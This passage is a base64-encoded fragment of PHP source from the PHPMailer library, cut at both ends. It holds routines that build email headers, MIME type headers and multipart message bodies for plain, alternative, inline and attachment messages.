8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkY